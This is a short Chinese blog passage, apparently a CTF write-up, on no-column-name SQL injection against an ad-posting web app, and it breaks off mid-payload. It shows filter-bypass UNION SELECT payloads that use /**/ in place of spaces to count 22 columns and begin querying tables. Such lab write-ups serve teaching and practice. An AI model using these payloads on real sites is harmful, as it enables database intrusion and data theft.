夜幕下的灯火阑珊的博客

知识点 无列名注入 随便注册一个账户登录，进去后可以发布广告 发布一个1' 点击广告详情 报错了 一通fuzz，or等被过滤，即无法使用information_schema库，可以使用无列名注入 构造-1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22手动探测列数，这里探测到有22列，回显位为2和3 直接查表 -1'/**/union/**/select/**/1,(select/